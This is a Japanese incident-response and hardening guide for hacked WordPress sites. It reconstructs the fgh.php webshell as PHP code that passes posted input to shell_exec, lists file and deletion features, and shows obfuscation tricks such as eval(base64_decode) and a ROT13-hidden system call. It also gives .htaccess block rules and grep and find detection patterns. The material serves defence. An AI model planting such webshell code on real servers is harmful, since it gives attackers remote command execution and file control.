🛡️ バックドア防御設計書

📖 Webシェルとは何か

Webシェルとは、攻撃者がサーバーに設置する「遠隔操作用PHPファイル」です。ブラウザ経由でサーバー上のあらゆる操作（ファイル閲覧・編集・削除・OSコマンド実行・他ドメインへの横断）が行えます。今回の fgh.php はその典型的な「ファイルマネージャ型」です。

🔬 今回設置されたWebシェル（fgh.php）のコード構造

ファイルマネージャ型Webシェルの典型的な構造：

// ① 認証チェック（パスワードが合えば全機能が使える）
if($_POST['pass'] !== 'attacker_password') die();

// ② action パラメータで機能を切り替え
switch($_GET['action']) {
  case '9':  // OSコマンド実行（攻撃ログ: ?action=9&shell_form=1）
    if($_POST['shell_form']) {
      echo shell_exec($_POST['cmd']);  // POSTされたコマンドをサーバーで実行
    }
    break;

  case 'get_node':  // ディレクトリツリー取得
    // fm_current_root=/home/mediface/ → アカウント全体を掌握
    $root = $_GET['fm_current_root'];
    echo json_encode(scandir($root));
    break;

  case 'delete':  // ファイル削除（攻撃ログで確認）
    unlink($_GET['dir'] . '/' . $_GET['files']);
    break;
}

🎭 3種類のWebシェル（今回全て確認）

🕵️ 検出回避の手口（今回確認された5技法）

// 手口① WordPressコアファイル名への偽装
/wp-admin/js/widgets/media-widgets.php   ← 正規: media-widgets.js
/wp-includes/images/image-data.php        ← 正規: .png/.webp のみ存在するはず
/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.php  ← フォントディレクトリに偽装

// 手口② 画像・CSSディレクトリへの偽装
/css/kint.php   ← CSS名ディレクトリにPHPを配置
/images/gallery/Frame_v2_4.php  ← 画像ファイル名に偽装
/images/doctor1.php  ← doctorの画像ファイルに見せかける

// 手口③ Base64による難読化（コード解読を妨害）
eval(base64_decode('cGhwaW5mbygpOw=='));  ← デコードするとphpinfo();等

// 手口④ 変数名・関数名のランダム化
$x9f2a = str_rot13('flfgrz');  ← 'system'をROT13でエンコード
$x9f2a($_POST['c']);

// 手口⑤ CGI・レアPHPフラグの利用（.php5等）
self-portrait-1886.php  ← 有名絵画名で目視確認を欺く

⏱️ 今回の攻撃フロー（5段階）

① PHP実行禁止（uploads / images / js / css ディレクトリ）

攻撃者が /css/kint.php / /images/doctor1.php のようにPHPを画像・静的ファイルディレクトリに偽装して設置しても、実行が不可能になります。

# wp-content/uploads/.htaccess に配置
<FilesMatch> "\.(php|php5|phtml|phar|pl|py|sh)$"
  Order Deny,Allow
  Deny from all
</FilesMatch>

<IfModule mod_php.c>
  php_flag engine off  # PHPエンジン自体を無効化
</IfModule>

② Webシェルシグネチャブロック（攻撃ログ実証済みパターン）

今回の攻撃で実際に使われたURLパラメータを直接ブロックします：

<IfModule mod_rewrite.c>
  RewriteEngine On
  # fgh.php 型のシェル操作シグネチャ
  RewriteCond %{QUERY_STRING} (action=9|shell_form=1|fm_current_root|fm_current_dir) [NC,OR]
  RewriteCond %{QUERY_STRING} (action=delete.*dir=|action=upload|operation=get_node) [NC,OR]
  RewriteCond %{QUERY_STRING} (eval\(|base64_decode|shell_exec|system\(|passthru) [NC]
  RewriteRule .* - [F,L]  # 403 Forbidden
</IfModule>

③ wp-admin をIPホワイトリストで保護

管理画面へのアクセスを特定IPのみに制限。日本以外からの不正ログイン試行を根本的に排除します。

<IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{REQUEST_URI} ^/wp-admin
  RewriteCond %{REQUEST_URI} !^/wp-admin/admin-ajax\.php  # フロントエンドAJAXは除外
  RewriteCond %{REMOTE_ADDR} !^203.0.113.1  ← あなたのIPに変更
  RewriteRule ^ - [F,L]
</IfModule>

# ★ 自分のIPを確認: https://ifconfig.me/
# ★ 複数IPの場合: RewriteCond %{REMOTE_ADDR} !^(IP1|IP2) [NC]

④ XML-RPC 完全無効化

XML-RPCはWordPressのリモートAPI機能ですが、ブルートフォース攻撃の入り口として悪用されます。今回の攻撃者IPは xmlrpc.php へのアクセスが0件でしたが、fraise-clinic.comで稼働確認済みのため閉鎖します。

<Files xmlrpc.php>
  Order Deny,Allow
  Deny from all
</Files>

wp-config.php への追記（最重要3行）

// ファイル編集・プラグインインストールを管理画面から禁止
define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true);

// HTTPS強制
define('FORCE_SSL_ADMIN', true);

// コア自動更新を有効化
define('WP_AUTO_UPDATE_CORE', true);

// デバッグ情報を非表示（エラーメッセージからバージョン・パス情報を隠す）
define('WP_DEBUG', false);

推奨セキュリティプラグイン（優先順位順）

管理者アカウント強化チェックリスト

• □ 管理者ユーザー名を admin から変更（adminは最もよく狙われる）
• □ 管理者パスワードを20文字以上のランダム文字列に変更
• □ 2段階認証（2FA）を有効化（Google Authenticatorアプリと連携）
• □ 不審な管理者ユーザーが追加されていないか確認・削除
• □ メールアドレスが攻撃者のものに変更されていないか確認

仕組みの概要

クリーンな状態でPHPファイル全てのMD5ハッシュを記録（ベースライン）。定期的に現状と比較し、変更・追加されたファイルがあれば即座に通知します。

# STEP 1: クリーンな状態でベースラインを作成（一度だけ実行）
bash integrity_monitor.sh --init
# → /home/mediface/.security/php_baseline.md5 に全PHPのMD5を保存

# STEP 2: cronで定期チェック（6時間ごと自動実行）
# crontab -e で以下を追加:
0 */6 * * * /home/mediface/security/integrity_monitor.sh --check

# STEP 3: 変更検知時の出力例
⚠️  変更検知: /home/mediface/domains/medi-face.co.jp/public_html/wp-includes/images/image-data.php
   ベースライン MD5: a1b2c3d4...
   現在の MD5:       99f8e7d6...  ← ハッシュが変わった = ファイル改ざん

🆕 新規ファイル: /home/mediface/domains/fraise-clinic.com/public_html/css/kint.php
# → CSSディレクトリに新しいPHPが出現 = バックドアの疑い

緊急スキャンコマンド（SSH接続後に即実行）

# バックドアスキャナー実行（全ドメインを一気にスキャン）
bash backdoor_scanner.sh /home/mediface

# 今日変更されたPHPファイルを探す（最速確認）
find /home/mediface -name "*.php" -newer /home/mediface/domains/medi-face.co.jp/public_html/index.php -mtime -1 2>/dev/null

# eval(base64_decode を含むPHPを全ドメインから検索
grep -rl "eval.*base64_decode" /home/mediface --include="*.php"

# 画像・CSS・JSディレクトリにPHPがないか確認
find /home/mediface -type f -name "*.php" | grep -E "/(images?|img|css|js|fonts|uploads)/"

🚨 検知インジケーター（これが起きたら即対応）

• • Google Search Console に「セキュリティの問題」アラートが届いた
• • ページファイルサイズが突然2倍以上になった（今回: 6KB → 80KB等）
• • 見覚えのない .php ファイルがディレクトリに出現した
• • アクセスログに ?action=9&shell_form=1 や fm_current_root が出現した
• • インドネシア・イランIPから短時間に大量のPOSTリクエストが来た
• • Telegramリファラー（https://web.telegram.org/）からのPHP直接アクセスがあった

⚡ 初動対応（発見から60分以内）

1. メンテナンスモード有効化 — サイトを一時停止してユーザーへの影響を遮断
2. CORESERVERのIPフィルタリング — 管理画面でインドネシア・イランIPブロックを即時設定
3. FTPパスワードを即時変更 — 新たなバックドア設置を防ぐ
4. ログ保全 — アクセスログ・エラーログをすぐにダウンロード（上書きされる前に）
5. backdoor_scanner.sh 実行 — 全バックドアをリストアップ
6. エンジニアに連絡 — ログを共有してバックドア削除・改ざんページ修正を依頼

📞 連絡先一覧